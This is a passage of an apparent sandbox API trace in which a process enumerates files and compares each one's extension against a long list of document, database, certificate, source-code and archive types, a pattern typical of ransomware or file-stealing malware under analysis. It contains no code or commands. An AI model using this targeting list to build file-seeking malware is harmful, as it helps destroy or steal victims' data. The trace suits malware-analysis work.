(lpString=".ascx") returned 5 [0240.410] lstrcmpiW (lpString1=".ascx", lpString2="5.WMF") returned -1 [0240.410] lstrlenW (lpString=".asm") returned 4 [0240.410] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".asmx") returned 5 [0240.410] lstrcmpiW (lpString1=".asmx", lpString2="5.WMF") returned -1 [0240.410] lstrlenW (lpString=".asp") returned 4 [0240.410] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".aspx") returned 5 [0240.410] lstrcmpiW (lpString1=".aspx", lpString2="5.WMF") returned -1 [0240.410] lstrlenW (lpString=".asr") returned 4 [0240.410] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".asx") returned 4 [0240.410] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".avi") returned 4 [0240.410] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".avs") returned 4 [0240.411] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".backup") returned 7 [0240.411] lstrcmpiW (lpString1=".backup", lpString2="865.WMF") returned -1 [0240.411] lstrlenW (lpString=".bak") returned 4 [0240.411] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".bay") returned 4 [0240.411] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".bd") returned 3 [0240.411] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0240.411] lstrlenW (lpString=".bin") returned 4 [0240.411] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".bmp") returned 4 [0240.411] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".bz2") returned 4 [0240.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".c") returned 2 [0240.411] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0240.411] lstrlenW (lpString=".cdr") returned 4 [0240.411] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".cer") returned 4 [0240.411] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".cf") returned 3 [0240.411] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0240.411] lstrlenW (lpString=".cfc") returned 4 [0240.411] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".cfm") returned 4 [0240.411] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".cfml") returned 5 [0240.411] lstrcmpiW (lpString1=".cfml", lpString2="5.WMF") returned -1 [0240.411] lstrlenW (lpString=".cfu") returned 4 [0240.411] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".chm") returned 4 [0240.411] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".cin") returned 4 [0240.411] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0240.411] lstrlenW (lpString=".class") returned 6 [0240.411] lstrcmpiW (lpString1=".class", lpString2="65.WMF") returned -1 [0240.411] lstrlenW (lpString=".clx") returned 4 [0240.412] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".config") returned 7 [0240.412] lstrcmpiW (lpString1=".config", lpString2="865.WMF") returned -1 [0240.412] lstrlenW (lpString=".cpp") returned 4 [0240.412] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".cr2") returned 4 [0240.412] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".crt") returned 4 [0240.412] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".crw") returned 4 [0240.412] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".cs") returned 3 [0240.412] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0240.412] lstrlenW (lpString=".css") returned 4 [0240.412] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".csv") returned 4 [0240.412] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".cub") returned 4 [0240.412] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dae") returned 4 [0240.412] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dat") returned 4 [0240.412] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".db") returned 3 [0240.412] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0240.412] lstrlenW (lpString=".dbf") returned 4 [0240.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dbx") returned 4 [0240.412] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dc3") returned 4 [0240.412] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dcm") returned 4 [0240.412] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dcr") returned 4 [0240.412] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".der") returned 4 [0240.412] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0240.412] lstrlenW (lpString=".dib") returned 4 [0240.413] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dic") returned 4 [0240.413] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dif") returned 4 [0240.413] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".divx") returned 5 [0240.413] lstrcmpiW (lpString1=".divx", lpString2="5.WMF") returned -1 [0240.413] lstrlenW (lpString=".djvu") returned 5 [0240.413] lstrcmpiW (lpString1=".djvu", lpString2="5.WMF") returned -1 [0240.413] lstrlenW (lpString=".dng") returned 4 [0240.413] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".doc") returned 4 [0240.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".docm") returned 5 [0240.413] lstrcmpiW (lpString1=".docm", lpString2="5.WMF") returned -1 [0240.413] lstrlenW (lpString=".docx") returned 5 [0240.413] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.413] lstrlenW (lpString=".dot") returned 4 [0240.413] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dotm") returned 5 [0240.413] lstrcmpiW (lpString1=".dotm", lpString2="5.WMF") returned -1 [0240.413] lstrlenW (lpString=".dotx") returned 5 [0240.413] lstrcmpiW (lpString1=".dotx", lpString2="5.WMF") returned -1 [0240.413] lstrlenW (lpString=".dpx") returned 4 [0240.413] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dqy") returned 4 [0240.413] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dsn") returned 4 [0240.413] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dt") returned 3 [0240.413] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0240.413] lstrlenW (lpString=".dtd") returned 4 [0240.413] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dwg") returned 4 [0240.413] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0240.413] lstrlenW (lpString=".dwt") returned 4 [0240.413] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".dx") returned 3 [0240.414] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0240.414] lstrlenW (lpString=".dxf") returned 4 [0240.414] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".edml") returned 5 [0240.414] lstrcmpiW (lpString1=".edml", lpString2="5.WMF") returned -1 [0240.414] lstrlenW (lpString=".efd") returned 4 [0240.414] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".elf") returned 4 [0240.414] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".emf") returned 4 [0240.414] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".emz") returned 4 [0240.414] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".epf") returned 4 [0240.414] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".eps") returned 4 [0240.414] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".epsf") returned 5 [0240.414] lstrcmpiW (lpString1=".epsf", lpString2="5.WMF") returned -1 [0240.414] lstrlenW (lpString=".epsp") returned 5 [0240.414] lstrcmpiW (lpString1=".epsp", lpString2="5.WMF") returned -1 [0240.414] lstrlenW (lpString=".erf") returned 4 [0240.414] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".exr") returned 4 [0240.414] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0240.414] lstrlenW (lpString=".f4v") returned 4 [0240.415] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".fido") returned 5 [0240.415] lstrcmpiW (lpString1=".fido", lpString2="5.WMF") returned -1 [0240.415] lstrlenW (lpString=".flm") returned 4 [0240.415] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".flv") returned 4 [0240.415] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".frm") returned 4 [0240.415] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".fxg") returned 4 [0240.415] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".geo") returned 4 [0240.415] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".gif") returned 4 [0240.415] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".grs") returned 4 [0240.415] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".gz") returned 3 [0240.415] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0240.415] lstrlenW (lpString=".h") returned 2 [0240.415] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0240.415] lstrlenW (lpString=".hdr") returned 4 [0240.415] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".hpp") returned 4 [0240.415] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".hta") returned 4 [0240.415] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".htc") returned 4 [0240.415] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".htm") returned 4 [0240.415] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".html") returned 5 [0240.415] lstrcmpiW (lpString1=".html", lpString2="5.WMF") returned -1 [0240.415] lstrlenW (lpString=".icb") returned 4 [0240.415] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0240.415] lstrlenW (lpString=".ics") returned 4 [0240.415] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".iff") returned 4 [0240.416] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".inc") returned 4 [0240.416] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".indd") returned 5 [0240.416] lstrcmpiW (lpString1=".indd", lpString2="5.WMF") returned -1 [0240.416] lstrlenW (lpString=".ini") returned 4 [0240.416] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".iqy") returned 4 [0240.416] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".j2c") returned 4 [0240.416] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".j2k") returned 4 [0240.416] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".java") returned 5 [0240.416] lstrcmpiW (lpString1=".java", lpString2="5.WMF") returned -1 [0240.416] lstrlenW (lpString=".jp2") returned 4 [0240.416] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".jpc") returned 4 [0240.416] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".jpe") returned 4 [0240.416] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".jpeg") returned 5 [0240.416] lstrcmpiW (lpString1=".jpeg", lpString2="5.WMF") returned -1 [0240.416] lstrlenW (lpString=".jpf") returned 4 [0240.416] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".jpg") returned 4 [0240.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".jpx") returned 4 [0240.416] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".js") returned 3 [0240.416] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0240.416] lstrlenW (lpString=".jsf") returned 4 [0240.416] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".json") returned 5 [0240.416] lstrcmpiW (lpString1=".json", lpString2="5.WMF") returned -1 [0240.416] lstrlenW (lpString=".jsp") returned 4 [0240.416] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0240.416] lstrlenW (lpString=".kdc") returned 4 [0240.417] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".kmz") returned 4 [0240.417] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".kwm") returned 4 [0240.417] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".lasso") returned 6 [0240.417] lstrcmpiW (lpString1=".lasso", lpString2="65.WMF") returned -1 [0240.417] lstrlenW (lpString=".lbi") returned 4 [0240.417] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".lgf") returned 4 [0240.417] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".lgp") returned 4 [0240.417] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".log") returned 4 [0240.417] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".m1v") returned 4 [0240.417] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".m4a") returned 4 [0240.417] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".m4v") returned 4 [0240.417] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".max") returned 4 [0240.417] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".md") returned 3 [0240.417] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0240.417] lstrlenW (lpString=".mda") returned 4 [0240.417] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".mdb") returned 4 [0240.417] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".mde") returned 4 [0240.417] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".mdf") returned 4 [0240.417] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".mdw") returned 4 [0240.417] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".mef") returned 4 [0240.417] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0240.417] lstrlenW (lpString=".mft") returned 4 [0240.418] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mfw") returned 4 [0240.418] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mht") returned 4 [0240.418] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mhtml") returned 6 [0240.418] lstrcmpiW (lpString1=".mhtml", lpString2="65.WMF") returned -1 [0240.418] lstrlenW (lpString=".mka") returned 4 [0240.418] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mkidx") returned 6 [0240.418] lstrcmpiW (lpString1=".mkidx", lpString2="65.WMF") returned -1 [0240.418] lstrlenW (lpString=".mkv") returned 4 [0240.418] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mos") returned 4 [0240.418] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mov") returned 4 [0240.418] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mp3") returned 4 [0240.418] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mp4") returned 4 [0240.418] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mpeg") returned 5 [0240.418] lstrcmpiW (lpString1=".mpeg", lpString2="5.WMF") returned -1 [0240.418] lstrlenW (lpString=".mpg") returned 4 [0240.418] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mpv") returned 4 [0240.418] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mrw") returned 4 [0240.418] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".msg") returned 4 [0240.418] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".mxl") returned 4 [0240.418] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".myd") returned 4 [0240.418] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".myi") returned 4 [0240.418] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0240.418] lstrlenW (lpString=".nef") returned 4 [0240.418] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".nrw") returned 4 [0240.419] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".obj") returned 4 [0240.419] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".odb") returned 4 [0240.419] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".odc") returned 4 [0240.419] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".odm") returned 4 [0240.419] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".odp") returned 4 [0240.419] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".ods") returned 4 [0240.419] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".oft") returned 4 [0240.419] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".one") returned 4 [0240.419] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".onepkg") returned 7 [0240.419] lstrcmpiW (lpString1=".onepkg", lpString2="865.WMF") returned -1 [0240.419] lstrlenW (lpString=".onetoc2") returned 8 [0240.419] lstrcmpiW (lpString1=".onetoc2", lpString2="6865.WMF") returned -1 [0240.419] lstrlenW (lpString=".opt") returned 4 [0240.419] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0240.419] lstrlenW (lpString=".oqy") returned 4 [0240.419] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0240.420] lstrlenW (lpString=".orf") returned 4 [0240.420] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".p12") returned 4 [0240.421] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".p7b") returned 4 [0240.421] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".p7c") returned 4 [0240.421] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pam") returned 4 [0240.421] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pbm") returned 4 [0240.421] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pct") returned 4 [0240.421] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pcx") returned 4 [0240.421] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pdd") returned 4 [0240.421] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pdf") returned 4 [0240.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pdp") returned 4 [0240.421] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pef") returned 4 [0240.421] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pem") returned 4 [0240.421] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pff") returned 4 [0240.421] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pfm") returned 4 [0240.421] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pfx") returned 4 [0240.421] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".pgm") returned 4 [0240.421] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".php") returned 4 [0240.421] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0240.421] lstrlenW (lpString=".php3") returned 5 [0240.421] lstrcmpiW (lpString1=".php3", lpString2="5.WMF") returned -1 [0240.421] lstrlenW (lpString=".php4") returned 5 [0240.421] lstrcmpiW (lpString1=".php4", lpString2="5.WMF") returned -1 [0240.421] lstrlenW (lpString=".php5") returned 5 [0240.422] lstrcmpiW (lpString1=".php5", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".phtml") returned 6 [0240.422] lstrcmpiW (lpString1=".phtml", lpString2="65.WMF") returned -1 [0240.422] lstrlenW (lpString=".pict") returned 5 [0240.422] lstrcmpiW (lpString1=".pict", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".pl") returned 3 [0240.422] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0240.422] lstrlenW (lpString=".pls") returned 4 [0240.422] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".pm") returned 3 [0240.422] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0240.422] lstrlenW (lpString=".png") returned 4 [0240.422] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".pnm") returned 4 [0240.422] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".pot") returned 4 [0240.422] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".potm") returned 5 [0240.422] lstrcmpiW (lpString1=".potm", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".potx") returned 5 [0240.422] lstrcmpiW (lpString1=".potx", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".ppa") returned 4 [0240.422] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".ppam") returned 5 [0240.422] lstrcmpiW (lpString1=".ppam", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".ppm") returned 4 [0240.422] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".pps") returned 4 [0240.422] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".ppsm") returned 5 [0240.422] lstrcmpiW (lpString1=".ppsm", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".ppt") returned 4 [0240.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.422] lstrlenW (lpString=".pptm") returned 5 [0240.422] lstrcmpiW (lpString1=".pptm", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".pptx") returned 5 [0240.422] lstrcmpiW (lpString1=".pptx", lpString2="5.WMF") returned -1 [0240.422] lstrlenW (lpString=".prn") returned 4 [0240.423] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".ps") returned 3 [0240.423] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0240.423] lstrlenW (lpString=".psb") returned 4 [0240.423] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".psd") returned 4 [0240.423] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".pst") returned 4 [0240.423] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".ptx") returned 4 [0240.423] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".pub") returned 4 [0240.423] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".pwm") returned 4 [0240.423] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".pxr") returned 4 [0240.423] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".py") returned 3 [0240.423] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0240.423] lstrlenW (lpString=".qt") returned 3 [0240.423] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0240.423] lstrlenW (lpString=".r3d") returned 4 [0240.423] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".raf") returned 4 [0240.423] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".rar") returned 4 [0240.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.423] lstrlenW (lpString=".raw") returned 4 [0240.423] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0240.423] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0240.423] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: 